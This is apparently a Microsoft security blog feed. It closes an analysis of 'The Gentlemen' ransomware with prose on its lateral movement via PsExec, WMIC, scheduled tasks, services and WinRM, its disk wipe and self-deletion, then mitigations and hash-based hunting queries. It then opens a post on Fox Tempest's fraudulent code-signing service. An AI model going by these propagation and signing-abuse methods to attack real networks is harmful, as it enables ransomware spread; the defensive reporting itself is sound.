First, the malware executes the PowerShell defense evasion payload to weaken host protections:

After a delay to allow defenses to be disabled, the malware executes the payload from the locally staged path C:\Temp under SYSTEM privileges:

After another sleep period, the malware executes the final command to run the payload with the –h flag for elevated token and –c -f to copy and force execution:

5.3: WMIC process creation

The malware uses WMI via wmic.exe to create remote processes:

The first command executes the defense evasion blob, the second runs the payload from the infected host’s SMB share, and the third runs the pre-staged copy from the target’s local C:\Temp directory.

5.4: Scheduled tasks (user)

The malware creates three scheduled tasks under the target user’s context, each running two minutes after the time when they are created:

The scheduled task DefU is set to run the defense evasion blob, UpdateGU executes the payload from the infected host’s SMB share, and UpdateGU2runs the pre-staged copy from the target’s local C:\Temp directory.

5.5: Scheduled tasks (system)

The same three tasks are repeated, running under the SYSTEM account:

By attempting both user-context and SYSTEM-context task creation, the ransomware can improve its chance of propagation across environments with different permission boundaries.

5.6: Service-based execution

The malware executes the following command sequence to create three Windows services on the target host:

Similar to the scheduled tasks, the service DefSvc is set to run the defense evasion blob, UpdateSvc executes the payload from the infected host’s SMB share, and UpdateSvc2 runs the pre-staged copy from the target’s local C:\Temp directory. These services run as SYSTEM by default, which provides another high-privilege execution path for the ransomware payload on the remote system.

5.7: Payload deployment: PowerShell remoting

Using PowerShell remoting, the malware executes commands directly on the target using Invoke-Command:

This method leverages Windows Remote Management (WinRM), providing an alternative execution channel when PsExec or WMIC are unavailable or blocked.

5.8: PowerShell WMI execution

Finally, the malware uses the PowerShell WMI class interface directly to create remote processes with the following command sequence.

This provides functionality equivalent to wmic.exe, but through a different execution path. As a result, it might succeed in environments where the WMIC binary is restricted but WMI access remains available.

Self-propagation summary

Across all techniques, the malware attempts 21 remote execution operations per target host, spanning multiple APIs, privilege levels, and execution contexts. Each method attempts to launch the payload from:

• The infected host’s SMB share: \\<self>\share$\<payload_name>
• The target host’s locally staged path: C:\Temp\<payload_name>

This redundancy is central to The Gentlemen’s propagation strategy. In secured environments where most lateral movement techniques are mitigated, a single successful execution on a single additional host is sufficient to continue the propagation.

Free space wipe

If the --wipe argument is provided, The Gentlemen ransomware performs an additional post-encryption routine to eliminate recoverable artifacts from disk.

The malware first enumerates all available volume paths on the system. For each volume, it creates a temporary file named wipefile.tmp at the root directory and determines the amount of available free space. It then writes random data to this file in 64 MB blocks until the volume is completely filled. Once the disk space has been exhausted, the temporary file is deleted.

This process effectively overwrites all unallocated disk space with random data, preventing forensic tools from recovering remnants of previously deleted files. This includes cached or temporary versions of original unencrypted data that might still reside on disk. When combined with earlier actions such as Volume Shadow Copy deletion, this behavior reduces the likelihood of data recovery without access to the threat actor’s decryption key.

Self-delete

If the --keep flag is not provided, the malware attempts to remove its executable from disk after completing encryption.

Since a running process cannot directly delete its own binary, the ransomware generates and executes a temporary batch script at <malware_path>.batwith the following contents:

The batch script introduces a short delay by sending three Internet Control Message Protocol (ICMP) echo requests to the local host, pausing execution long enough for the main malware process to terminate. After this delay, the script deletes the original ransomware executable before removing itself. This mechanism helps reduce on-disk artifacts and hinders post-incident forensic analysis by eliminating the ransomware binary from the compromised system.

Defending against The Gentlemen ransomware

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Turn on tamper protection features to prevent threat actors from stopping security services. In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
• Enable controlled folder access. Controlled folder access helps protect your valuable data from malicious apps and threats, such as ransomware. Controlled folder access works by only allowing trusted apps to access protected folders. Protected folders are specified when controlled folder access is configured. Apps that aren’t included in the trusted apps list are prevented from making any changes to files inside protected folders. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully. 
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block process creations originating from PSExec and WMI commands if you’re managing your devices with Intune or another MDM solution. This rule is incompatible with management through Microsoft Endpoint Configuration Manager. 
  • Use advanced protection against ransomware

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Ransom:Win64/Gentlemen

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware-linked threat actor detected
• Ransomware behavior detected in the file system
• Possible ransomware activity
• File backups were deleted
• Potential human-operated malicious activity
• Possible data exfiltration
• Suspicious wallpaper change

The following alerts might indicate threat activity associated with The Gentlemen ransomware if Defender for Endpoint is set to block mode.

• ‘Gentlemen’ ransomware was detected
• ‘Gentlemen’ ransomware was prevented

Microsoft Defender for Cloud Apps

The following alert might indicate threat activity associated with this threat. This alert, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware activity

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Tool profile: Gentlemen ransomware
• Threat overview profile: Human-operated ransomware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Known The Gentlemen ransomware files

Search for the file hashes associated with The Gentlemen ransomware activity identified in this report. 

let fileHashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
union
(
   DeviceFileEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
   DeviceEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = 
SHA256, SourceTable = "DeviceEvents"
),
(
   DeviceImageLoadEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
   DeviceProcessEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, DeviceId, DeviceName, FileName, InitiatingProcessFileName, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect web sessions IP and file hash indicators of compromise using Advanced Security Information Model (ASIM)

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic([]);
let ioc_sha_hashes =dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect files hashes indicators of compromise using ASIM

The following query checks IP addresses and file hash IOCs across data sources supported by ASIM file event parser:

// file hash list - imFileEvent
let ioc_sha_hashes = dynamic(["22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67"]);
imFileEvent
| where SrcFileSHA256 in (ioc_sha_hashes) or
TargetFileSHA256 in (ioc_sha_hashes)
| extend AccountName = tostring(split(User, @'')[1]), 
  AccountNTDomain = tostring(split(User, @'')[0])
| extend AlgorithmType = "SHA256"

Indicators of compromise

Acknowledgements

• License to Encrypt: The “Gentlemen” Make Their Move. Cybereason (accessed 2026-02-06)
• Unmasking The Gentlemen Ransomware: Tactics, Techniques, and Procedures Revealed. TrendMicro (accessed 2026-02-06)

Learn more

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The post The Gentlemen ransomware: Dissecting a self-propagating Go encryptor appeared first on Microsoft Security Blog.

Fox Tempest is a financially motivated threat actor that operates a malware-signing-as-a-service (MSaaS)  used by other cybercriminals to more effectively distribute malicious code, including ransomware. The threat actor abuses Microsoft Artifact Signing to generate short-lived, fraudulent code-signing certificates to appear legitimately signed, allowing malware to evade security controls.

Fox Tempest has created over a thousand certificates and established hundreds of Azure tenants and subscriptions to support its operations. Microsoft has revoked over one thousand code signing certificates attributed to Fox Tempest. In May 2026, Microsoft’s Digital Crimes Unit (DCU), with support from industry partner Resecurity, disrupted Fox Tempest’s MSaaS offering, targeting the infrastructure and access model that enables its broader criminal use.

Microsoft Threat Intelligence observed Fox Tempest’s operations enabling the deployment of Rhysida ransomware by threat actors such as Vanilla Tempest, as well as the distribution of other malware families including Oyster, Lumma Stealer, and Vidar. The consistency, scale, and downstream impact of the resulting attack activity demonstrate that Fox Tempest is a vital operator within the broader cybercrime ecosystem.

In this blog, we examine how Fox Tempest’s MSaaS operation functioned and how it enabled the delivery of trusted, signed malware across the cybercrime ecosystem. We also provide Microsoft Defender detections, indicators of compromise (IOCs), and mitigation recommendations to help organizations identify and disrupt similar activity.

Fox Tempest’s role and impact

Fox Tempest doesn’t directly target victims but instead provides supporting services that enable ransomware operations by other threat actors. Microsoft Threat Intelligence has tracked Fox Tempest since September 2025. Microsoft Threat Intelligence has linked the actor to various ransomware groups including Vanilla Tempest, Storm-0501, Storm-2561, and Storm-0249, who have all leveraged Fox Tempest-signed malware in active intrusions. Malware delivery in these attacks have included use of legitimate purchased advertisements, malvertising, and SEO poisoning.

Cryptocurrency analysis associated with Fox Tempest has identified clear links tying the actor to ransomware affiliates responsible for delivering several prominent ransomware families, including INC, Qilin, Akira, and others, with observed proceeds in the millions. Based on the scale of the MSaaS offering, Microsoft Threat Intelligence assesses that Fox Tempest is a well-resourced group handling infrastructure creation, customer relations, and financial transactions.

The downstream impact of these operations has resulted in attacks against a broad range of industry sectors, including healthcare, education, government, and financial services, impacting organizations globally including, but not limited to the United States, France, India, and China.

Fox Tempest’s malware signing as a service infrastructure

Fox Tempest’s MSaaS capability was available through the website signspace[.]cloud, a now defunct service that was disrupted by DCU, which enabled other threat actors to fraudulently obtain short-lived Microsoft-issued certificates that were valid for only 72 hours, obtained through Artifact Signing (previously named Azure Trusted Signing). This use of short-life certificates from a trusted source allowed malware and ransomware to masquerade as legitimate software (like AnyDesk, Teams, Putty, and Webex) to bypass security controls, significantly increasing the likelihood of execution and successful delivery. Fox Tempest offered this MSaaS capability to the ransomware ecosystem since at least May 2025.

To obtain legitimate signed certificates through Artifact Signing, the requestor must pass detailed identify validation processes in keeping with industry standard verifiable credentials (VC), which suggests the threat actor very likely used stolen identities based in the United States and Canada to masquerade as a legitimate entity and obtain the necessary digital credentials for signing. The SignSpace website was built on Artifact Signing and enabled secure file signing through an admin panel and user page, leveraging Azure subscriptions, certificates, and a structured database for managing users and files. A GitHub repository, called code‑signing‑service, included configuration files and technical details that directly linked it to the infrastructure behind signspace[.]cloud.

The signspace[.]cloud service has two unique modeling groupings: the admin and the customers. The admin is responsible for maintaining the tooling, account creation, and infrastructure, while the customers provide files to be fraudulently code signed. Customers who accessed the service could upload malicious files to be signed using Fox Tempest-controlled certificates.

Below are examples of the signspace[.]cloud portal as seen by Fox Tempest’s customers:

In February 2026, Microsoft Threat Intelligence observed a notable shift in Fox Tempest’s operational infrastructure. Fox Tempest transitioned to providing customers with pre-configured virtual machines (VMs) hosted on US-based virtual private server provider Cloudzy’s infrastructure, allowing threat actors to upload their malicious files directly to Fox Tempest‑controlled environments and receive signed binaries in return. This infrastructure evolution reduced friction for customers, improved operational security for Fox Tempest, and further streamlined the delivery of malicious but trusted, signed malware at scale. Microsoft’s Digital Crimes Unit (DCU) disrupted this infrastructure and continues to partner with Cloudzy to identify and disrupt related infrastructure.

Below is an example of the Fox Tempest-provided VM environment as seen by customers:

Inside the VM, Fox Tempest provided files that are used to sign code:

• The first file, metadata.json, was a configuration file that pointed to an Azure‑hosted endpoint which also included the signing account and certificate profile.
• The second file, test.js, is an example of a file provided by Fox Tempest that had been digitally signed to demonstrate their signing capabilities to customers.
• The third file, PS code sample.txt, contains the PowerShell script they used to sign customer‑submitted files using certificates under Fox Tempest control.